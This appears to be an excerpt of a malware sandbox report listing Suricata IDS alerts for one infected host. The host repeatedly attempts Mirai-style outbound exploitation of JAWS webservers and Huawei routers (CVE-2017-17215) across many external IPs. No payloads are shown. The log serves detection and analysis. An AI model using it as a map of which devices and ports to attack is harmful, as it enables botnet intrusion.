Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43048 -> 77.9.102.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34558 -> 59.75.42.59:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34558 -> 59.75.42.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54236 -> 160.247.51.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46362 -> 14.141.3.196:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38370 -> 158.241.3.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54236 -> 160.247.51.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38370 -> 158.241.3.93:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42346 -> 54.224.48.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46362 -> 14.141.3.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42346 -> 54.224.48.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36434 -> 112.17.46.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53186 -> 166.46.184.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36434 -> 112.17.46.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53186 -> 166.46.184.48:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60898 -> 88.204.40.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60898 -> 88.204.40.127:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43644 -> 60.191.15.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43644 -> 60.191.15.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53302 -> 138.253.99.143:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38304 -> 39.59.187.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53302 -> 138.253.99.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38304 -> 39.59.187.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49726 -> 154.225.38.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49726 -> 154.225.38.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34944 -> 2.92.50.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34944 -> 2.92.50.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46704 -> 49.62.38.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46704 -> 49.62.38.109:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52218 -> 85.100.167.15:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52702 -> 58.54.216.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52218 -> 85.100.167.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52702 -> 58.54.216.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41196 -> 204.184.249.105:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41196 -> 204.184.249.105:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53606 -> 150.209.61.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53606 -> 150.209.61.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48880 -> 191.220.213.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47048 -> 8.159.135.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48880 -> 191.220.213.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47048 -> 8.159.135.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42896 -> 216.31.154.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42896 -> 216.31.154.98:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47296 -> 156.143.18.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34128 -> 156.107.59.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44534 -> 197.121.34.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48498 -> 156.100.189.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39738 -> 197.80.227.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51360 -> 156.66.88.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58500 -> 197.25.239.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36934 -> 197.3.39.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37578 -> 156.75.218.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42154 -> 41.108.205.190:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38692 -> 90.128.45.194:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38692 -> 90.128.45.194:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58830 -> 133.23.65.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58830 -> 133.23.65.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34322 -> 192.122.106.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51360 -> 25.56.170.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37886 -> 42.54.179.203:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34302 -> 204.35.166.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51360 -> 25.56.170.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55548 -> 51.132.116.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55548 -> 51.132.116.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56182 -> 114.255.133.213:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43310 -> 168.141.43.142:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56182 -> 114.255.133.213:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37886 -> 42.54.179.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43310 -> 168.141.43.142:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38806 -> 52.200.155.160:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36480 -> 59.234.43.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34302 -> 204.35.166.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38806 -> 52.200.155.160:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60458 -> 177.109.45.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36480 -> 59.234.43.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60458 -> 177.109.45.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51100 -> 157.10.232.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47846 -> 113.202.243.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34322 -> 192.122.106.149:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47846 -> 113.202.243.27:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33988 -> 121.123.242.60:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45352 -> 151.117.200.130:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51100 -> 157.10.232.130:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45352 -> 151.117.200.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37286 -> 62.248.199.225:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35800 -> 100.44.128.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35800 -> 100.44.128.127:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39936 -> 220.40.166.42:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42012 -> 156.239.228.206:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39936 -> 220.40.166.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34300 -> 67.109.205.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46792 -> 39.26.141.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39260 -> 222.183.121.253:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46262 -> 156.22.51.217:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45662 -> 175.207.62.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46792 -> 39.26.141.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48936 -> 52.233.176.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37286 -> 62.248.199.225:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50506 -> 195.46.36.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33988 -> 121.123.242.60:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34300 -> 67.109.205.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33174 -> 46.218.150.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39260 -> 222.183.121.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58150 -> 69.165.68.106:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33174 -> 46.218.150.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58150 -> 69.165.68.106:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55588 -> 182.114.118.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44620 -> 216.84.178.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41848 -> 91.168.168.177:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44620 -> 216.84.178.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57734 -> 87.124.13.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33760 -> 89.237.234.81:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33760 -> 89.237.234.81:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49912 -> 178.168.125.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48936 -> 52.233.176.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56952 -> 44.96.228.159:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45662 -> 175.207.62.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56952 -> 44.96.228.159:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51264 -> 57.234.210.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51264 -> 57.234.210.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41848 -> 91.168.168.177:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57494 -> 68.131.78.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57494 -> 68.131.78.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47096 -> 2.111.72.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41228 -> 13.209.9.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47182 -> 165.71.235.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57556 -> 172.13.154.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47182 -> 165.71.235.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57274 -> 178.58.251.176:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43952 -> 120.47.138.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43952 -> 120.47.138.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57734 -> 87.124.13.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50506 -> 195.46.36.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36822 -> 151.234.254.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36822 -> 151.234.254.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48390 -> 152.61.133.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48390 -> 152.61.133.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56064 -> 91.179.4.197:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56064 -> 91.179.4.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45902 -> 84.71.252.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45902 -> 84.71.252.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42100 -> 170.223.253.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42100 -> 170.223.253.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50796 -> 69.224.65.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50796 -> 69.224.65.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55588 -> 182.114.118.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33418 -> 31.114.90.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33418 -> 31.114.90.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49912 -> 178.168.125.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47096 -> 2.111.72.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41228 -> 13.209.9.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55360 -> 101.242.71.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50038 -> 189.113.25.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50038 -> 189.113.25.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55360 -> 101.242.71.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57274 -> 178.58.251.176:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32856 -> 9.180.125.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32856 -> 9.180.125.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57556 -> 172.13.154.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42260 -> 156.240.241.216:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42260 -> 156.240.241.216:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60986 -> 97.146.133.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60986 -> 97.146.133.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57902 -> 190.176.20.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57902 -> 190.176.20.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34368 -> 123.63.252.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39860 -> 179.41.60.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39504 -> 35.37.81.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34368 -> 123.63.252.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39504 -> 35.37.81.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33462 -> 151.235.178.124:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37528 -> 155.120.96.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33462 -> 151.235.178.124:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37528 -> 155.120.96.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40004 -> 98.103.8.79:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36618 -> 159.47.73.163:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40004 -> 98.103.8.79:80
